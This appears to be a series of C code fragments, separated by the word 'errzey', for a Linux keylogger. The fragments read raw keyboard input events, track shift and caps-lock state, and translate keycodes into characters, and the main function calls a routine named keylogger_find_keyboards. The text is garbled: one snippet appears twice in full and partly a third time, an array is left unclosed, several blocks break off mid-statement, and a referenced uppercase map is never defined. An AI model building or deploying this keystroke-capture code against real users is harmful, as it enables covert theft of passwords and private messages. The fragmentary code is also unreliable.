errzey

#define KEY_8                   9
#define KEY_9                   10
#define KEY_0                   11
#define KEY_MINUS               12
#define KEY_EQUAL               13
#define KEY_BACKSPACE           14
#define KEY_TAB                 15
#define KEY_Q                   16
#define KEY_W                   17
#define KEY_E                   18

errzey

const char lowercase_map[] = {
    0,  0,  '1',  '2',  '3',  '4',  '5', '6',  '7', '8', '9', '0',
    '-', '=', '\b', '\t', 'q',  'w',  'e', 'r',  't', 'y', 'u', 'i',
    'o', 'p', '[',  ']',  '\n', 0,   'a', 's',  'd', 'f', 'g', 'h',
    'j', 'k', 'l',  ';',  '\'',  '\n', 0,  '\\', 'z', 'x', 'c', 'v',
    'b', 'n', 'm',  ',',  '.',  '/',  0,  '*',  0,  ' ', 0,  0,
    0,  0,  0,   0,   0,   0,   0,  0,   0,  0,  0,  0, 0,  0, 0,
    0,  0,  0,   0,   0,   0,   0,  0,   0,  0,  0,  0, 0,  0, 0,
    0,  0,  0,   0,   0,   0,   0,  0,   0,  0,  0,  '\r'

errzey

if (input_event.value == 1) {
    if (kb->caps_mod) {
        kb->caps_mod = 0;
    } else {
        kb->caps_mod = 1;
    }
}

errzey

void
process_keystroke(int fd, short which, keyboard_t *kb)
{
    struct input_event input_event;
    ssize_t            bytes_read;
    char               key;

    bytes_read = read(fd, &input_event, sizeof(struct input_event));

    if (bytes_read != sizeof(struct input_event)) {

errzey

void
process_keystroke(int fd, short which, keyboard_t *kb)
{
    struct input_event input_event;
    ssize_t            bytes_read;
    char               key;

    bytes_read = read(fd, &input_event, sizeof(struct input_event));

    if (bytes_read != sizeof(struct input_event)) {

errzey

    struct input_event input_event;
    ssize_t            bytes_read;
    char               key;

    bytes_read = read(fd, &input_event, sizeof(struct input_event));

errzey

    if (input_event.type != EV_KEY) {
        return;
    }

errzey

    switch (input_event.code) {
        case KEY_RIGHTSHIFT:
        case KEY_LEFTSHIFT:
            kb->shift_mod = input_event.value;
            return;
        case KEY_RIGHTCTRL:
        case KEY_LEFTCTRL:
            /* I don't really care about ctrl chars */
            return;
        case KEY_CAPSLOCK:

errzey

    if (kb->shift_mod) {
        key = uppercase_map[input_event.code];

        if (kb->caps_mod) {
            key = tolower(key);
        }

    } 

errzey

int main(int argc, char **argv)
{
    const char **keyboards;

    keyboards = keylogger_find_keyboards();

    if (keyboards == NULL) {
        fprintf(stderr, "error finding keyboards: %s\n",
                strerror(errno));
        exit(1);